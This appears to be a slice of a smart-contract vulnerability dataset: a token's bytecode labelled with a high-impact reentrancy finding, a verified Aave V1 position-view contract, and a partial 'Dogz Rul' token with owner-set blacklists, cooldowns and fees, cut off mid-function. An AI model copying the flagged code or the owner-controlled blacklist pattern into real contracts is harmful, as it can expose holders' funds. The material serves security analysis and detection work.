b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061164282826114c0565b82101561165e5750506006549267016345785d8a000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220522f1f9a645d16a180a912e7a44af683c5c2cf6a0521d607dfaf13b87c43e05a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,656 |
0x24f30abb6dba35a0e8aa3f990a1da565ee91efab
|
/**
*Submitted for verification at Etherscan.io on 2020-12-25
*/
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "");
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
abstract contract IFlashLoanParamsGetter {
function getFlashLoanParams(bytes memory _data) public view virtual returns (address[] memory tokens, uint256[] memory amount, uint256[] memory modes);
}
abstract contract ILendingPoolAddressesProvider {
function getLendingPool() public view virtual returns (address);
function setLendingPoolImpl(address _pool) public virtual;
function getLendingPoolCore() public view virtual returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual;
function getLendingPoolConfigurator() public view virtual returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public virtual;
function getLendingPoolDataProvider() public view virtual returns (address);
function setLendingPoolDataProviderImpl(address _provider) public virtual;
function getLendingPoolParametersProvider() public view virtual returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual;
function getTokenDistributor() public view virtual returns (address);
function setTokenDistributor(address _tokenDistributor) public virtual;
function getFeeProvider() public view virtual returns (address);
function setFeeProviderImpl(address _feeProvider) public virtual;
function getLendingPoolLiquidationManager() public view virtual returns (address);
function setLendingPoolLiquidationManager(address _manager) public virtual;
function getLendingPoolManager() public view virtual returns (address);
function setLendingPoolManager(address _lendingPoolManager) public virtual;
function getPriceOracle() public view virtual returns (address);
function setPriceOracle(address _priceOracle) public virtual;
function getLendingRateOracle() public view virtual returns (address);
function setLendingRateOracle(address _lendingRateOracle) public virtual;
}
library EthAddressLib {
function ethAddress() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
abstract contract ILendingPool {
function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual;
function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual;
function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual;
function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable;
function swapBorrowRateMode(address _reserve) external virtual;
function getReserves() external virtual view returns(address[] memory);
/// @param _reserve underlying token address
function getReserveData(address _reserve)
external virtual
view
returns (
uint256 totalLiquidity, // reserve total liquidity
uint256 availableLiquidity, // reserve available liquidity for borrowing
uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate
uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate
uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units.
uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units.
uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units.
uint256 averageStableBorrowRate, // current average stable borrow rate
uint256 utilizationRate, // expressed as total borrows/total liquidity.
uint256 liquidityIndex, // cumulative liquidity index
uint256 variableBorrowIndex, // cumulative variable borrow index
address aTokenAddress, // aTokens contract address for the specific _reserve
uint40 lastUpdateTimestamp // timestamp of the last update of reserve data
);
/// @param _user users address
function getUserAccountData(address _user)
external virtual
view
returns (
uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei
uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei
uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei
uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei
uint256 availableBorrowsETH, // user available amount to borrow in ETH
uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited
uint256 ltv, // user average Loan-to-Value between all the collaterals
uint256 healthFactor // user current Health Factor
);
/// @param _reserve underlying token address
/// @param _user users address
function getUserReserveData(address _reserve, address _user)
external virtual
view
returns (
uint256 currentATokenBalance, // user current reserve aToken balance
uint256 currentBorrowBalance, // user current reserve outstanding borrow balance
uint256 principalBorrowBalance, // user balance of borrowed asset
uint256 borrowRateMode, // user borrow rate mode either Stable or Variable
uint256 borrowRate, // user current borrow rate APY
uint256 liquidityRate, // user current earn rate on _reserve
uint256 originationFee, // user outstanding loan origination fee
uint256 variableBorrowIndex, // user variable cumulative index
uint256 lastUpdateTimestamp, // Timestamp of the last data update
bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral
);
function getReserveConfigurationData(address _reserve)
external virtual
view
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address rateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
);
// ------------------ LendingPoolCoreData ------------------------
function getReserveATokenAddress(address _reserve) public virtual view returns (address);
function getReserveConfiguration(address _reserve)
external virtual
view
returns (uint256, uint256, uint256, bool);
function getUserUnderlyingAssetBalance(address _reserve, address _user)
public virtual
view
returns (uint256);
function getReserveCurrentLiquidityRate(address _reserve)
public virtual
view
returns (uint256);
function getReserveCurrentVariableBorrowRate(address _reserve)
public virtual
view
returns (uint256);
function getReserveCurrentStableBorrowRate(address _reserve)
public virtual
view
returns (uint256);
function getReserveTotalLiquidity(address _reserve)
public virtual
view
returns (uint256);
function getReserveAvailableLiquidity(address _reserve)
public virtual
view
returns (uint256);
function getReserveTotalBorrowsVariable(address _reserve)
public virtual
view
returns (uint256);
// ---------------- LendingPoolDataProvider ---------------------
function calculateUserGlobalData(address _user)
public virtual
view
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
);
}
/// @title Getter contract for positions from Aave protocol
contract AaveV1FullPositionView is DSMath, IFlashLoanParamsGetter {
address public constant AAVE_V1_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8;
struct UserBorrows {
address[] borrowAddr;
uint256[] borrowAmounts;
uint256[] borrowRateModes;
}
function getUserBorrows(address _user, address[] memory _borrTokens) public view returns (UserBorrows memory borrowsData) {
address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_V1_LENDING_POOL_ADDRESSES).getLendingPool();
borrowsData = UserBorrows({
borrowAddr: new address[](_borrTokens.length),
borrowAmounts: new uint[](_borrTokens.length),
borrowRateModes: new uint[](_borrTokens.length)
});
uint64 borrowPos = 0;
for (uint64 i = 0; i < _borrTokens.length; i++) {
address reserve = _borrTokens[i];
(,uint256 borrowBalance,,uint256 borrowRateMode,,,uint256 originationFee,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user);
// Sum up debt in Eth
if (borrowBalance > 0) {
borrowsData.borrowAddr[borrowPos] = reserve;
borrowsData.borrowAmounts[borrowPos] = borrowBalance + originationFee;
borrowsData.borrowRateModes[borrowPos] = borrowRateMode;
borrowPos++;
}
}
return borrowsData;
}
function getFlashLoanParams(bytes memory _data) public view override returns (address[] memory tokens, uint256[] memory amount, uint256[] memory modes) {
(address account, address[] memory borrTokens) = abi.decode(_data, (address,address[]));
UserBorrows memory borrowsData = getUserBorrows(account, borrTokens);
return (borrowsData.borrowAddr, borrowsData.borrowAmounts, borrowsData.borrowRateModes);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80630ae1cc8e146100465780639c4b57b114610071578063f094dd6e14610091575b600080fd5b610059610054366004610583565b6100a6565b6040516100689392919061072b565b60405180910390f35b61008461007f3660046104e6565b6100ee565b604051610068919061076e565b6100996103d6565b60405161006891906106fd565b6060806060600080858060200190518101906100c29190610432565b9150915060006100d283836100ee565b8051602082015160409092015190999198509650945050505050565b6100f66103ee565b60007324a42fd28c976a61df5d00d0599c34c4f90748c86001600160a01b0316630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561014557600080fd5b505afa158015610159573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017d919061040f565b9050604051806060016040528084516001600160401b03811180156101a157600080fd5b506040519080825280602002602001820160405280156101cb578160200160208202803683370190505b50815260200184516001600160401b03811180156101e857600080fd5b50604051908082528060200260200182016040528015610212578160200160208202803683370190505b50815260200184516001600160401b038111801561022f57600080fd5b50604051908082528060200260200182016040528015610259578160200160208202803683370190505b50905291506000805b8451816001600160401b031610156103cd57600085826001600160401b03168151811061028b57fe5b602002602001015190506000806000866001600160a01b03166328dd2d01858c6040518363ffffffff1660e01b81526004016102c8929190610711565b6101406040518083038186803b1580156102e157600080fd5b505afa1580156102f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103199190610609565b5050509650505094505093505060008311156103bd57838860000151876001600160401b03168151811061034957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508083018860200151876001600160401b03168151811061038557fe5b602002602001018181525050818860400151876001600160401b0316815181106103ab57fe5b60209081029190910101526001909501945b5050600190920191506102629050565b50505092915050565b7324a42fd28c976a61df5d00d0599c34c4f90748c881565b60405180606001604052806060815260200160608152602001606081525090565b600060208284031215610420578081fd5b815161042b8161080f565b9392505050565b60008060408385031215610444578081fd5b825161044f8161080f565b809250506020808401516001600160401b0381111561046c578283fd5b8401601f8101861361047c578283fd5b805161048f61048a826107f2565b6107cf565b81815283810190838501858402850186018a10156104ab578687fd5b8694505b838510156104d65780516104c28161080f565b8352600194909401939185019185016104af565b5080955050505050509250929050565b600080604083850312156104f8578182fd5b82356105038161080f565b91506020838101356001600160401b0381111561051e578283fd5b8401601f8101861361052e578283fd5b803561053c61048a826107f2565b81815283810190838501858402850186018a1015610558578687fd5b8694505b838510156104d657803561056f8161080f565b83526001949094019391850191850161055c565b60006020808385031215610595578182fd5b82356001600160401b03808211156105ab578384fd5b818501915085601f8301126105be578384fd5b8135818111156105ca57fe5b6105dc601f8201601f191685016107cf565b915080825286848285010111156105f1578485fd5b80848401858401378101909201929092529392505050565b6000806000806000806000806000806101408b8d031215610628578586fd5b8a51995060208b0151985060408b0151975060608b0151965060808b0151955060a08b0151945060c08b0151935060e08b015192506101008b015191506101208b01518015158114610678578182fd5b809150509295989b9194979a5092959850565b6000815180845260208085019450808401835b838110156106c35781516001600160a01b03168752958201959082019060010161069e565b509495945050505050565b6000815180845260208085019450808401835b838110156106c3578151875295820195908201906001016106e1565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b60006060825261073e606083018661068b565b828103602084015261075081866106ce565b9050828103604084015261076481856106ce565b9695505050505050565b60006020825282516060602084015261078a608084018261068b565b90506020840151601f19808584030160408601526107a883836106ce565b92506040860151915080858403016060860152506107c682826106ce565b95945050505050565b6040518181016001600160401b03811182821017156107ea57fe5b604052919050565b60006001600160401b0382111561080557fe5b5060209081020190565b6001600160a01b038116811461082457600080fd5b5056fea26469706673582212207afd9730b5dcec4141fdcb9771d95dfceefb1fa20f60f7f39577a95a3312d91464736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 2,657 |
0x998922ec8bb67d6f7955050cf51facb692ad35e0
|
// SPDX-License-Identifier: Unlicensed
// https://t.me/DogzRule
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Rul is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dogz Rul";
string private constant _symbol = "DogzRul";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
